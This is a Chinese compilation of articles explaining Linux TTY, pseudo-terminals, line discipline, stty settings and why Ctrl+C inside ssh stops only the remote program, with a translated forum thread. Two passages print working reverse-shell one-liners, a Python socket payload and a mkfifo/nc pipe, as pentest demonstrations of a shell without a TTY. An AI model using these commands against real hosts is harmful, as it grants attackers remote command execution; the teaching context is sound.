Linux | 从 TTY 到 PTY —— 程序的输入、输出与控制

注:本文为 “Linux TTY” 相关文章合辑

英文引文,机翻未校。
中文引文,略作重排。
如有内容异常,请看原文。


Linux TTY 详解

卡瓦邦噶! Posted on 2021年10月20日 by laixintao

引言

面试题引入

考虑这样一道面试题:在终端中 ,有一些常用快捷键 ,如 Ctrl + E 可移动到行尾 ,Ctrl + W 可删除一个单词 ,Ctrl + B 可向后移动一个字母 ,按上键可显示上一个使用过的 shell 命令 。在这 4 种快捷键中 ,有一个的实现方式与其他三个不同 ,请问是哪一个 ?

答案是 Ctrl + W 。因为 Ctrl + W 是由一个叫 TTY 的机制提供的 ,而其余三个是由 shell 提供的 。通过这道题 ,我们引出对 TTY 的探讨 。

有趣问题探讨

假设有这样一种场景 ,在 host1 上使用 ssh 命令登录到 host2 ,然后执行 sleep 9999 命令 。此时按下 Ctrl + C ,会发生什么情况呢 ?

  1. host1 上的 ssh 会被停止 。
  2. host2 上的 sleep 命令会被停止 ,ssh 会话将继续保持 。

对于使用过 ssh 命令的人来说 ,都知道实际现象是 (2) ,即在 ssh 提供的 shell 中随意按下 Ctrl + C ,不会对 ssh 本身造成任何影响 。那么 ,这是如何实现的呢 ?

Ctrl + C 会发送一个信号 ,其 int 值为 2 ,名称是 SIGINT 。由此我们可以猜想 :是否是 ssh 进程收到了 SIGINT ,然后将其转发到 ssh 远程那边的程序 ,而自身不处理这个信号呢 ?

为了验证这个猜想 ,可以使用 killsnoop 程序 ,它能够将进程间的信号打印出来 。

  1. 首先启动 killsnoop 程序 :
root@vagrant:/home/vagrant# ./perf-tools/killsnoop
Tracing kill()s. Ctrl - C to end.
COMM             PID    TPID     SIGNAL     RETURN
  1. 然后新开一个 shell ,按下 Ctrl + C ,会发现所在的 shell(pid = 1549)收到了 signal = 2 的信号 ,即 SIGINT
vagrant@vagrant:~$ ps
  PID TTY     TIME CMD
  1549 pts/1  00:00:00 bash
  1644 pts/1  00:00:00 ps
vagrant@vagrant:~$ ^C
root@vagrant:/home/vagrant# ./perf-tools/killsnoop
Tracing kill()s. Ctrl - C to end.
COMM             PID    TPID     SIGNAL     RETURN
bash             1549   1549     2          0
  1. 接着通过 ssh 登录到本机 ,在 ssh 内部按下 Ctrl + C
vagrant@vagrant:~$ ssh vagrant@127.0.0.1
vagrant@127.0.0.1's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0 - 77 - generic x86_64)

vagrant@vagrant:~$ ^C

如果上述猜想正确 ,此时应该是原 shell(pid = 1549)收到 SIGINT ,然后将其转发到 ssh 进程 。然而 ,killsnoop 显示只有 ssh 打开的那个 shell 收到了 SIGINTssh 进程本身和原来 pid = 1549 的 shell 并没有收到任何信号 :

systemd - udevd    392    1653     15         0
systemd - udevd    392    1664     15         0
bash             1689   1689     2          0

显然 ,我们最初的猜想并不成立 。那么 ,Ctrl + C 不影响 ssh 本身 ,却能影响 ssh 内部程序的机制究竟是怎样的呢 ?带着这个疑问 ,让我们从 TTY 的起源开始探索 。

TTY 是一个历史产物

TTY 的起源

TTY 是一个历史产物 。如同现在的 Unix 系统中有众多的 /bin 目录 (可参考 Unix 系统为何有这么多 /bin) ,这是因为许多程序默认了这种存在方式 ,老程序依赖它们才能运行 ,新程序也会默认兼容 。若不考虑历史原因和兼容性 ,完全重新设计一个终端或目录组织 ,是可以不需要这么多 /bin ,也不需要 TTY 的 。

TTY 的全称为 Teletype ,即远程打字机 (Teletype) ,其外观如图所示 :
Teletype
(图片来源 :ArnoldReinhold – Own work, CC BY - SA 3.0, Link

  • YouTube
    https://www.youtube.com/watch?v=S81GyMKH7zw

这个视频 展示了 Teletype 的工作方式 。此外 ,还有一个名为 Teletype Model 33 的 Twitter 账号会发布相关内容 ,比如 git push 在 Teletype 上的操作视频

在早期 ,多人共同使用一台计算机 (Unix 是多用户多任务的操作系统) 。每个人都通过一个 “终端” (Terminal ,在这种语境下与 TTY 可视为同义) 进行操作 。用户在终端上输入要运行的命令 ,发送给系统执行 ,系统将结果返回 ,并通过终端在纸上打印出来 。

TTY 的硬件连接

作为硬件的 TTY ,其连接到计算机的方式如下 :首先通过线缆连接 ,但线缆并非直接连接到计算机 ,而是连接到一个名为 Universal Asynchronous Receiver and Transmitter (UART) 的硬件 。UART Driver 从硬件中读取信息 ,并将其发送给 TTY Driver ,TTY 再将信息读取并发送给程序 。实际上 ,UART 至今仍在使用 ,例如在 Arduino 或树莓派的应用中可能会接触到 。

其连接结构大致如图所示 :
TTY硬件连接示意图_

Line discipline 的作用

在上述结构中 ,还有一个名为 “Line discipline” 的部分 。它的作用正如其名 ,是对输入的 “行” 进行处理 。在用户输入命令后 ,按下 Enter 键之前 ,命令实际上存储在 TTY 中 ,此时 Line discipline 就会对这些存储在 TTY 中的 “行” 进行处理 。例如 ,它提供了 Ctrl + U 删除整行的功能 ,即按下 Ctrl + U 后 ,TTY 不会将字符发送给后续程序 ,而是直接删除当前缓存的行 。同理 ,Ctrl + W 删除一个单词的功能也是由 Line discipline 提供的 。

在现代看来 ,这样的功能似乎可以直接由 bash 等程序处理 ,没必要作为内核的子系统来处理 。但在早期 ,Unix 的 RAM 非常小 ,仅有 64K words 。若有 20 个人以每分钟 60 个单词的速度打字 ,每秒大约会产生 100 次上下文切换和磁盘交换 ,这会导致计算机将 100% 的时间用于处理按键输入 ,几乎没有时间执行其他任务 。

Line discipline 的最大作用在于它是一个可编程的中间人 。它可以缓存 20 个 TTY 的内容 ,直到有人按下 Enter 键 ,才会将内容真正发送给后端程序 。一个 Line discipline 模块能够缓存 20 个 TTY 的内容 ,假设用户输入一个命令需要 30 秒 ,那么每个用户大约有 1.5 秒的执行时间 ,效率几乎提高了 100 倍 。

Line discipline 的工作方式类似于 Emacs ,拥有一个大小为 127 的功能表 ,每个按键都绑定了特定功能 ,如进入缓存 、发送命令等 。

可以将 TTY 设置为 raw mode ,在这种模式下 ,Line discipline 不会对收到的字符进行任何解释 ,而是直接将其发送给后续程序 (准确地说是发送给前台的进程组和 session) 。实际上 ,这就是 ssh 不会收到 SIGINT ,而是 ssh 内部程序收到 SIGINT 的原因 ,后续将对此进行证明 。如今 ,许多程序如 sshVim 都使用 raw mode 的 TTY 。但在过去 ,Vim 运行在 cooked mode (即 Line discipline 会起作用) ,当在一行中间输入文字时 ,屏幕会出现混乱 ,输入的文字会覆盖后面的内容 ,直到按下 Esc 退出编辑才会恢复正常 。

尽管如今计算机硬件性能有了极大提升 ,Line discipline 的性能优化作用已不再显著 ,但 TTY 和 Line discipline 仍然保留了下来 。因为许多程序 (如 bash) 在编写时默认有 TTY 的存在 ,TTY 也继续保留着 Line discipline 的功能 ,而用户对此通常没有明显感知 (在不了解 TTY 的情况下 ,终端和 ssh 也能正常使用) ,所以从某种意义上说 ,这是一种向后兼容的 “文物” 。

现代 TTY 的本质

在现代 ,TTY 本质上已不再是硬件 ,而是一个软件 (内核子系统) 。从系统用户层面来看 ,它表现为一个文件 。毕竟在 Unix 系统中 ,一切皆文件 。

通过 tty 命令可以查看当前 shell 使用的 TTY 。在启动的 shell 未进行重定向的情况下 ,stdinstdoutstderr 都是 TTY 设备 。

作为一个 “文件” ,可以向 TTY 中写入内容 ,写入的内容会被输出设备读取并输出 (例如在一个 shell 中写入内容 ,会在另一个相关的 shell 中显示) ,如下所示 :
向TTY写入内容的演示

同时 ,也可以从 TTY 中读取内容 。但此时读取操作会与输出设备形成竞争关系 ,因为两者都在尝试从 TTY 中读取 。例如 ,在一个 shell 中按下 1 - 9 这些数字 ,每次输入不一定会被哪个读取方获取 :
从TTY读取内容的竞争演示
一旦内容被 cat 读取 ,那么在当前 shell 中按下的键将不会显示 。

利用这一点 ,通过 w 命令查看登录在机器上的用户 ,然后使用 cat 命令读取他们的 TTY ,可能会让用户误以为键盘出现故障 (需要注意的是 ,用户登录时 ,其使用的 TTY 文件权限通常设置为仅自己可读写 ,所有者为自己 ,因此这个恶作剧需要 root 权限才能实施) ,如下所示 :
利用TTY读取进行恶作剧的演示

TTY 的作用与应用场景

没有 TTY 行不行

实际上 ,没有 TTY 也是可行的 。例如 ,在一些特殊场景下 ,如攻破一台机器后 ,若发现一种可在其中执行 python 代码但无法看到输出的方法 ,可以利用 reverse shell 来解决 。

reverse shell 是一种反向的 shell 机制 。通常的 ssh 是我们主动连接到远程电脑进行控制 ,而 reverse shell 则是在远程机器上打开一个 shell ,并将其提供给控制者 。

以下是一个演示 :在一个终端中使用 nc 打开一个 tcp 端口 (模拟入侵者控制的服务器) ,然后在另一个终端 (被入侵的机器) 执行如下命令 :

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

reverse shell演示
这段 python 代码实际上打开了一个 sh 程序 ,并将 stdin / stdout / stderr 全部与 tcp 的 socket 连接起来 。对于 nc 这一端来说 ,其 stdin / stdout / stderr 与 socket 相连 ,从而使 nc 变成了能够控制对方的一个 shell ,进而可以在对方主机上随意执行命令 :
在reverse shell中执行命令的演示
使用其他语言也可以实现[打开 reverse shell](http://pentestmonkey.net/cheat - sheet/shells/reverse - shell - cheat - sheet) 。

然而 ,这种没有 TTY 的 shell 存在一些问题 。例如 ,运行 TUI 程序 (如 htop) 时会出现异常 :
没有TTY的shell运行TUI程序的问题
从图中可以看到 ,按下 q 之后尝试输入 hostnamesh 无法正常显示输入的字符 。此外 ,没有 TTY 的 shell 还存在以下缺点 :

  1. 无法正常使用 TUI 程序 ,如 Vimhtop
  2. 无法使用 tab 补全功能 。
  3. 无法使用上箭头查看历史命令 。
  4. 没有作业控制功能 。
  5. ……

(实际上 ,[reverse shell 也可以有 TTY](https://blog.ropnop.com/upgrading - simple - shells - to - fully - interactive - ttys/))

所以 ,虽然在现代硬件条件下 ,没有 TTY 也能运行一个不完整的 shell ,但 TTY 作为内核的模块 ,仍然承担着重要功能 。有了 TTY ,才能实现一些终端上的功能 ,例如终端可以向 TTY 发送移动指针 、清除屏幕 、重置大小等指令 。

关于 Pseudo terminal

在前面的示例中 ,我们看到的 tty 命令结果大多以 /dev/pts/ 开头 ,而非 /dev/tty 开头 ,这两者有何区别呢 ?

/dev/pts/ 开头的实际上是 “假装的” TTY ,称为 Pseudo terminal(伪终端) 。我们之前讨论的 TTY 是内核的一个模块 (子系统 、Driver) ,位于内核空间 ,而现代的终端程序 、ssh 程序等在用户空间 ,那么它们如何与 TTY 交互呢 ?答案就是 PTY 。

当像 iTerm2 这样的程序需要TTY 时,它会请求 Kernel 创建一个 PTY pair 。需要注意的是,PTY 总是成对出现,一个是 master,一个是 slave 。slave 端交给程序(例如 bash 这类程序默认会与 TTY 协同工作,在交互状态下会使用 TTY),程序并不知道它使用的是 PTY slave 还是真正的 TTY ,只管进行读写操作。PTY master 会返回给请求创建 PTY pair 的程序(通常是 ssh、终端模拟器图形软件、tmux 等),程序获取到它(实际上是一个文件描述符 fd)后,就可以对 master PTY 进行读写。内核负责将 master PTY 的内容复制到 slave PTY,反之亦然。我们看到的 /dev/pts/* 等,其中 pts 表示 pseudo - terminal slave,意味着这些交互式 shell 的登录设备是伪终端从设备。其关系大致如下:

terminal emulator - pty master <-- TTY driver( copies stuff from/to) --> pty slave - shell

所以,在 GUI 环境下看到的程序,如 Xterm/iTerm2(实际上使用的是 [ttyS](https://man7.org/linux/man - pages/man4/ttys.4.html),此处不详细展开),以及 tmux 中打开的 shell、ssh 打开的 shell 等,全部都是 PTY 。因此,GUI 下的这些终端,如 konsole、Xterm 等,都被称为“终端模拟器”,它们并非真正的终端,而是模拟出来的。

那么,如何进入真正的 TTY 呢?在 Ubuntu 桌面系统中,按下 Ctrl + Alt + F1 进入图形界面,而按下 Ctrl + Alt + F2(实际上 F2 - F6 都可以)则进入一个终端,这个终端就是 TTY 。在其中登录并执行 tty 命令,会显示这是一个 tty 设备。例如,在一个只有命令行、没有 GUI 的 virtualbox 虚拟机中登录,看到的就是一个 TTY ,如下所示:
在virtualbox虚拟机中查看TTY

对开篇问题的解答

为何 ssh 中 Ctrl + C 不影响 ssh 本身

回到本文开头的第二个问题:为什么在 ssh 里面按下 Ctrl + C 并不会停止 ssh,而是会停止 ssh 内的程序呢?

当在本机按下 Ctrl + C 时,事件流程如下:

  1. kernel 的 driver 收到 Ctrl + C 的输入,中间经过的不相关模块忽略不计。
  2. 输入到达 TTY,TTY 收到后向当前在 TTY 前台的进程组(实际上是当前 TTY 被分配到的 session)发送 SIGINT 信号。如果当前前台进程是 bash,bash 会收到该信号;如果是 sleep,则 sleep 会收到。

由于 SIGTERM 是可由程序自行处理的信号,bash 收到后决定忽略,而 sleep 收到后会退出,具体过程如下图所示:
Ctrl + C信号在本地的处理流程

stty 程序可用于修改 tty 的功能表,Ctrl + C 涉及到一个名为 isig 的功能:

[-] isig

enable interrupt, quit, and suspend special characters

–from man isig

这意味着,如果 TTY 收到 Ctrl + C 这种输入(原始符号是 ^C ,可使用 stty -a 命令查看,默认的 quit 是 ^\,默认的 suspend 是 ^Z),不会将其原文发送给后续程序,而是将其转换为 SIGINT 发送给当前 TTY 后面的进程组。因此,我们可以使用 stty -isig 来关闭这个行为。

当在 sleep 程序中按下 Ctrl + C 时,如果 TTY 处于 stty -isig 状态,将会把 ^C 字符原封不动地发送给 sleep 程序,sleep 将不会收到任何信号,也就无法使用 Ctrl + C 结束 sleep 程序,如下所示:
关闭isig功能后的Ctrl + C效果

回到 ssh 的问题,合理的猜测是:ssh 在获取远程的 shell 时,会先将当前自己所在的 shell 的 isig 功能禁用,这样,Ctrl + C 这个行为将会以字符形式发送给 sshssh 的客户端将这个字符发送给远程的 ssh serverssh server 发送给自己的 TTY(实际上是一个 PTY master),最后远程的 TTY 发送给当前远程的前台进程一个 SIGINT 信号。

猜想的验证

验证 1

可以使用 stty 查看 shell 的 TTY 设置,在使用该 shell 通过 ssh 登录前后,再次查看 TTY 的设置。如下图所示:
ssh登录前后isig状态变化

图中,用上面的 shell 查看下面的 shell 的 TTY 配置。可以看到,第一次查看是在 ssh 登录之前,isig 处于开启状态;第二次查看是在执行 ssh 登录之后,isig 变为关闭状态。当 ssh 退出后,isig 又会恢复为开启状态。

验证 2

从反面进行证明,假如在 ssh 登录之前,强行将 ssh 所在的 TTY 的 isig 开启,那么按下 Ctrl - C,将会结束 ssh 进程本身,而不是 ssh 内部运行的程序。

由于这里使用 ssh 登录本机,为区分是在当前本地 shell 还是在 ssh 中,修改了本地 shell 的命令行提示符。如下图所示:
强行开启isig后Ctrl + C的效果

该图片展示了在 ssh 登录之后,在另一个 shell 中运行 stty --file /dev/pts/0 isigssh 所在的 shell 开启 isig。然后在 ssh(当前前台程序是 sleep 9999)中按下 Ctrl + C,此时 ssh 直接退出,回到了本地 shell,而不是结束 ssh 中的 sleep

验证 3

可以直接使用 strace 程序跟踪 ssh 的系统调用:

strace -o strace.log ssh vagrant@127.0.0.1

可以看到,在 ssh 启动时,有这样一行:

ioctl(0, SNDCTL_TMR_STOP or TCSETSW, {B9600 -opost -isig -icanon -echo ...}) = 0

这表明将 TTY 的设置改成了 -isig 以及一些其他设置。

ssh 退出时,会有一行:

ioctl(0, SNDCTL_TMR_STOP or TCSETSW, {B9600 opost isig icanon echo ...}) = 0

这又将设置修改回原来的状态。

实际上,如果经常使用 Terminal,可能会遇到这种情况:运行某些 TUI 程序后,程序非正常退出(比如卡顿、崩溃或被 SIGKILL),此时回到 Terminal 会发现 Terminal 出现混乱,回车无法正常换行,Ctrl + W 等功能无法使用。这可能是因为程序在退出时没有执行重置 tty 的代码。使用 reset 命令可以重置当前的 Terminal,使其恢复正常,如下所示:
使用reset命令恢复Terminal

区分快捷键来源

回到第一个问题,如何证明哪些快捷键是 TTY 提供的,哪些是 shell 提供的呢?

stty -a 已经将所有 stty 的配置打印出来,如下所示:

$ stty -a
speed 9600 baud; rows 52; columns 187; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = M - ^?; eol2 = M - ^?; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O;
min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc ixany imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe -echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc

raw 模式下,回车键就是换行符,不会将光标移动到行首,如下所示:
raw模式下回车键的行为

如果取消 Ctrl + W 的设置,该功能自然就会消失,按下 Ctrl + W 就只是输入 ^W,如下所示:
取消Ctrl + W功能后的效果

对于 shell 的快捷方式(比如 Ctrl + E),可以用 sh 程序来验证它们是 shell 提供的功能,而非 TTY 提供。sh 是一个较为基础的程序,不会解释 Ctrl + A 或者上键等功能。按下左箭头会显示 ^[[D,按下 Ctrl + A 会显示 ^A(在 shell 卡顿等异常情况下,按下箭头会在屏幕上显示这些原始字符)。但是,在正常的 TTY 下(cooked TTY,可使用 reset 命令恢复之前被修改的 TTY),Ctrl + W 这个功能在 sh 下依然可以使用,如下所示:
在sh程序中验证Ctrl + W功能


Discussion on: Linux terminals, tty, pty and shell

讨论:Linux 终端、tty、pty 与 shell

dwgillies
May 17, 2020 • Edited on May 17

In the old days it was too expensive for every character to be read and interpreted by the underlying program (i.e. a shell) because the UNIX RAM was small (at most 64Kwords) and with 20 people typing 60wpm the system would need 100 program context switches + swaps from disk per second. In this situation 100% of cpu time would be spent handling keypresses - no time would be left over to run programs!

在过去,让底层程序(即 shell)读取并解释每个字符的成本太高了,因为 UNIX 的内存很小(最多 64K 字),并且如果有 20 个人以每分钟 60 个单词的速度打字,系统每秒将需要进行 100 次程序上下文切换以及从磁盘的交换操作。在这种情况下,CPU 时间的 100% 都会花在处理按键上,根本没有时间来运行程序!

The line discipline was actually a programmable middleman kernel module that could buffer from all 20 ttys until each user had successfully finished a command, at which point the middleman passed the text on to the underlying program, i.e the shell or a line-editor like ed / xed. Only one line discipline needed to be in memory for all 20 users. If command entry time is 30 secs you would now have a program wakeup every 1.5 seconds - much better than 100 times per second!

行规实际上是一个可编程的中间层内核模块,它可以对来自所有 20 个 tty 的输入进行缓冲,直到每个用户成功完成一条命令。此时,这个中间层会将文本传递给底层程序,也就是 shell 或者像 ed / xed 这样的行编辑器。对于所有 20 个用户,只需要在内存中保留一个行规模块。如果命令输入时间是 30 秒,那么现在程序每隔 1.5 秒才会唤醒一次,这比每秒 100 次好多了!

The line discipline is sort of like emacs, which has a function table of size=127 (one for each key) and does a table lookup and invokes the associated function the most common being “buffer-me” but important ones being “newline” (which sends the buffered text to the shell), “erase”, “word-erase”, “line-erase” (used to be bound to “@” not ^U and would erase your line buffer, displaying @ CR LF and leaving the discarded text on the screen, one line above.) Only the truly important keypresses like , ^C ^Z ^S ^P ^O ^Z ^Y required interaction with the underlying program, i.e. a shell or editor or command pipeline.

行规有点像 emacs,它有一个大小为 127 的函数表(每个键对应一个),会进行表查找并调用相关函数。最常见的函数是 “将字符存入缓冲区”,但重要的函数有 “换行”(它会将缓冲的文本发送给 shell)、“删除”、“删除单词”、“删除整行”(过去绑定到 “@” 而不是 ^U,它会擦除你的行缓冲区,显示 @、回车、换行,并将被删除的文本留在屏幕上,在上一行)。只有真正重要的按键,如 ^C、^Z、^S、^P、^O、^Z、^Y,才需要与底层程序(如 shell、编辑器或命令管道)进行交互。

You could put the terminal in “raw mode” which is also known as “no line discipline” and the function table would be filled with 127 copies of “send-char-to-program” function, immediately producing a task wakeup. That began happening for interactive games such as rogue and later, editors like vi / vim / emacs which were viable on faster CPUs (like the 3 mips PDP-11/70). Most people are too young to know that the vi / vim editor at first used line-discipline (=cooked, the opposite of raw) mode. When you inserted characters into the middle of a line (by typing e.g. “ixyzpdq”) the screen would be messed up and xyzpdq would overwrite later characters and the screen wouldn’t get fixed until you hit escape. This fixup policy made vi / vim efficient on slower machines. It runs in full raw mode today but originally it used the line discipline to avoid swaps and process wakeups.

你可以将终端设置为 “原始模式”,这种模式也被称为 “无行规范模式”。在该模式下,功能表中会填充 127 个 “将字符发送至程序” 的功能项,会立即触发任务唤醒。这种情况最早出现在像《龙与地下城》(Rogue)这样的交互式游戏中,后来在像 vi/vim 和 emacs 这样的编辑器中也有应用,这些编辑器在速度更快的 CPU(比如每秒 300 万条指令的 PDP-11/70)上可以很好地运行。
大多数人太年轻,不知道 vi/vim 编辑器最初使用的是行规范模式(也就是 “熟” 模式,与原始模式相反)。当你在一行的中间插入字符时(比如输入 “ixyzpdq”),屏幕会变得混乱,“xyzpdq” 会覆盖后面的字符,而且直到你按下 “Esc” 键,屏幕才会恢复正常。这种修复策略使得 vi/vim 在速度较慢的机器上也能高效运行。如今它在完全的原始模式下运行,但最初它是利用行规范模式来避免数据交换和进程唤醒的。

Today computers are 3000x faster with 1,000,000x more memory and have only 1 user, so the feature is an unnecessary artifact of history.

如今,计算机的速度是过去的 3000 倍,内存是过去的 1000000 倍,并且通常只有一个用户,所以这个特性只是历史遗留下来的不必要的产物。

napicella profile image

May 18, 2020

Hi Donald! Thank you for sharing this!

When I started reading about the line discipline I was hoping to find its history. I intuitively thought the reasons were hardware limitations but I did not find much on the topic. Thanks to you I now have a clear picture of the context and the constraints that led to the line discipline.

当我开始阅读有关行规的内容时,我希望能找到它的历史背景。我凭直觉认为原因是硬件限制,但我没有找到太多关于这个主题的信息。多亏了你,我现在对导致行规产生的背景和限制有了清晰的了解。

Since I wrote the article, I do not think I’ll offend anyone by saying that your comment is (even?) more valuable then the article itself - I know it is for me. In the second part of the series I briefly describe the line discipline, do you think I could include your comment in the article? Of course, I’ll give full credit to you.

自从我写了那篇文章后,我想说你的评论(甚至)比文章本身更有价值,我觉得这不会冒犯到任何人——我知道这对我来说是这样的。在这个系列的第二部分,我简要描述了行规,你觉得我可以把你的评论包含在文章里吗?当然,我会充分注明是你的评论。

dwgillies
May 19, 2020


从 TTY 到 PTY —— 程序的输入、输出与控制

March 3, 2023 H1RA

TTY 设备在 Linux 系统中的应用比较广泛,但很少有人去深度探讨 TTY 设备在整个 Linux 系统交互中起到的关键性作用。本文整合了几篇较为经典的文章对 TTY 设备整体工作原理、机制及应用的探讨,希望能够为读者带来帮助。

从功能性的角度看

其实,从功能性的角度来看,Linux 的 TTY 设备就是受操作系统管理的双向管道,用户通过外设(一般是键盘)输入的数据会进入到 TTY 设备文件,经过终端驱动,传递给操作系统进行处理,操作系统输出到 TTY 设备的数据则会被输出到外设(一般是屏幕),让用户能够看见,本质上就是一个从外设到操作系统的双向管道。

PTY 和 TTY 在功能上是一致的,不过它可以被用户进程创建。用户进程可以通过 Linux 系统提供的接口创建一个 PTS Pair,一个 PTS Pair 分为 Master 设备和 Slave 设备两种,输出到 Master 设备的数据会被传递到 Slave 设备的输入,而输出到 Slave 设备的数据会被传递到 Master 设备的输入。如果我们将显示器绑定到 Master 设备的输出上面,再将键盘绑定到 Master 设备的输入上面,那么我们就能够通过 Master 设备间接操作绑定到 Slave 设备的进程了。因为 PTY 和 TTY 本身并没有太大的差别,为避免过于啰嗦,在下面我只针对 PTY 进行讲述。图 1:PTS 数据传输示意

一个例子:SSH

SSH 的设计中也使用了 PTY 设备,我们在通过 SSH 登入主机进入 Shell 后,可以通过 tty 命令去获取当前的 Shell 进程运行在哪个 PTY 上面。

上面tty命令给出的结果/dev/pts/dev是当前运行的 Shell 绑定的 PTY Slave 设备,而对应的 Master 设备文件描述符只有通过 /dev/ptmx创建 PTY Pair 的进程持有,都指向/dev/ptmx,可以通过sudo lsof /dev/ptmx查看。我们在使用 SSH 的时候,本地的 Terminal Emulator 将输入的字符发送到 SSH 进程,SSH 进程收到字符以后通过网络传输给服务器上面的 SSHD 进程,SSHD 进程将字符写入到 Master 设备,Shell 就能够从 Slave 设备中读取到字符。同理,Shell 的输出写入到 Slave 设备,被 SSHD 从 Master 设备处读取,通过网络传递给 SSH 客户端,最终 SSH 客户端将字符显示到屏幕上(当然,一般我们都是在 Terminal Emulator 里面运行的 SSH 进程,所以本地的 SSH 进程也是要通过 TTY 设备和键盘以及屏幕通讯的,这里图方便就没有画出来,大概样子和图 1 差不多)。

在这里插入图片描述

知道了当前 Shell 所属的 PTY 设备之后,就能做一些有趣的事情了,比如我们可以向这个 PTY Slave 设备写入一些字符,被写入 Slave 设备的字符会被传递到 Master 设备的输入,被 SSHD 读取后通过网络传输到本地的 SSH 客户端,最后在屏幕上打印出来。

图 4:写入 Hello World 到 Slave 设备

当然,我们也可以在当前终端用 cat 命令来读取 Slave 文件,第一个 Hello World 是我键入的,第二个 Hello World 则是 Cat 从 Slave 设备中读取到的。如果我们在另一个终端用 cat 命令去读取当前终端的输入,另一个终端的cat命令会和 Shell 发生争抢,两边都只能得到部分字符(至于为什么图 5 能够显示两行 Hello World,而图 6 只能显示一行,可以查看参考 9 的文章,或者后续关于 raw mode 和 cooked mode 的部分)。

图 5:用 cat 读取当前终端的 Slave 设备
在这里插入图片描述

从上面的例子我们可以感觉到,PTY 的表现和双向管道并没有什么太大的区别,从一向读取数据,再从另外一个方向发送出去,反之同理。从 SSH 的例子来看,如果我们直接将 SSHD 进程的输入输出绑定到 Shell 上面,似乎也能做到同样的事情,还避免了多一层 PTY Pair 的数据传递带来的开销,何乐而不为呢?

简单的双向管道?

现在我们通过一个 TCP 连接来模拟 SSH 和 SSHD,在服务器上面启动一个 Shell,并将其绑定到一个 TCP 连接的输入输出上,这个操作在渗透测试的时候经常被使用,即反弹一个 Shell(尽管在反弹 Shell 中,是服务器主动连接的客户端)。

# 在本地主机上监听
nc -lvv 127.0.0.1 5000
# 在目标主机上执行
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash 2>&1 | nc 127.0.0.1 5000 > /tmp/f

在这里插入图片描述

看起来也不错嘛,就是有些地方有点奇怪,比如vim会提示输入输出不是 Terminal,方向键也用不了,不能用上箭头返回上一条指令,并且一旦我按下^C,就会直接关闭这个连接,而不是放弃当前键入的命令。这就引入了 PTY 设备和双向管道的最大区别:PTY 设备驱动,也就是图 1 中绿色的部分。

PTY 驱动

PTY 设备驱动干的事情挺杂,具体的可以查看参考 5,或者参考 5 的英文原版参考 6。简单来说,它包括行编辑、会话管理和两大模块功能。它在用户输入输出和程序之间引入了一层隔离层,在这个隔离层中进行翻译和控制工作。这个隔离层使得用户的操作无需完全受制于应用程序,而可以通过额外的操作手段去干预应用程序的执行。这相当于将一个输入输出分成了两部分,一部分是数据,一部分是控制指令,用户既可以将数据通过 PTY 设备传给进程,也可以通过一些特殊的按键触发 PTY 的功能指令,向进程发送信号进行控制干预,相当于复用了单一信道,对当时只有一条电缆连接到计算机主机的 UART 接口的原始终端是必不可少的存在。

行编辑

对于命令行应用,用户需要频繁地输入指令与其进行交互,而在这输入过程中难免会发生一些错误。为了方便用户在提交指令前对输入进行修改和编辑,以及,操作系统引入了一个叫做 Line Discipline 的功能,Line Discipline 并非是一个特定的处理程序,而是一系列不同的处理程序的统称,实际在使用 PTY 设备的时候,我们可以自行设置需要使用的 Line Discipline。最常用的 Line Discipline 有两种,在 Terminal 的设置中,一种被称为 Canonical mode (或者 cooked-mode),输入在经过这类 Line Discipline 的时候会被缓存,并且可以编辑修改,直到按下回车键进行提交,Line Discipline 就将当前缓冲区的内容发送到设备描述符。另外一种则被称为 Non-Canonical mode (或者 raw-mode),在该模式下,Line Discipline 不会对输入的字符进行任何处理,而是将其原封不动发送到设备描述符,使得进程能够即时对输入作出反应。

这里就可以回到上面cat指令的例子了,为什么cat指令在当前终端下执行能够显示两行 Hello World,而在另外一个终端执行时只能输出一行呢?原因是在当前终端执行的前台进程是bashbash在程序内部实现了缓冲区,因此它并不需要操作系统为其提供 Line Discipline 功能,所以在bash等待执行命令的时候,其所连接到的终端设备,也即 PTY Slave /dev/pts/29,被设置为了 raw-mode,直接将所有的字符传给bash进行处理。因此,在另外一个终端使用cat/dev/pts/29进行读取的时候,catbash同时争抢即时输入的字符,并且 raw-mode 没有输入回显,所以只能看到一个 Hello World。当bash开始执行命令的时候,它会将当前终端重新设置为 cooked-mode,此时就启用了缓冲区,因此我们在当前终端执行cat的时候,并不是输入一个字符,cat就读取到一个字符,而是我们输入完全部字符按回车提交后,cat才收到一整串字符并回显,图 5 的第二行字符即为cat读取到的内容,而第一行其实是 cooked-mode 提供的输入回显功能。

图 8:TTY 的软件部分示意图 9:xterm 的工作原理,PTY 示意

会话管理

对于输入的缓冲是一方面功能,但这毕竟只是相当于为需要命令行交互的程序提供了一个方便的缓冲区设计而已。在我看来,会话管理功能,其实才 PTY 最重要的功能。以 Linux 为例,在 Linux 进程管理中,有前台任务、后台任务、守护进程、进程组和会话的概念。

默认情况下,我们在 shell 中启动一个程序时,程序即以前台任务的形式启动,该任务独占命令行窗口的输入输出,只有结束时才能执行其他命令。后台进程可以通过在程序启动参数最后加上一个&符号启动,或者是通过^Z将其暂停,然后通过bg命令在后台恢复执行来生成。后台任务和前台任务共享终端的输出,但是无法接收终端的输入。进程组是一系列相互关联的进程集合,每个进程都会属于某个进程组,以进程组 ID 作为标识(一般进程组 ID 和创建该组的进程 ID 一致,同组内其他进程都是该进程的子进程),系统可以对一个进程组同时执行统一的操作,比如将某个信号发给同组内的所有进程。

